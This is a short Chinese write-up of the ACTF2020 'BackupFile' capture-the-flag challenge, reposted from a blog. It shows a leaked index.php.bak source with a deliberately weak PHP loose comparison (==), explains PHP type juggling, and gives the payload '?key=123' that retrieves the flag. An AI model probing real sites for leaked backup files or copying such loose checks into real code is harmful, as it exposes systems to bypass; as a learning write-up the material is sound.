[ACTF2020 新生赛]BackupFile
[ACTF2020 新生赛]BackupFile
应该是备份文件泄漏,扫一扫。
# 查看 index.php.bak 源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { // 检查不是数字
exit("Just num!");
}
$key = intval($key); // 转换成数字
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
php是弱类型语言,变量不需要声明数据类型,在php中的 == 和 === 完全是两种不同的比较方式。
<?php
# 数字和字符串比较
var_dump(123=='123'); //bool(true)
var_dump(123==='123'); //bool(false)
var_dump(123=='123ccccssssd341'); //bool(true)
var_dump(123==='123dasdsd'); //bool(false)
# 科学计数法(xey = x*10^y)
var_dump(100=='1e2'); //bool(true)
var_dump(100==='1e2'); //bool(false)
?>
所以这里的参数提交只要可以相等就行了。
# payload
?key=123
参考文章:
[phpweak](
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582246.html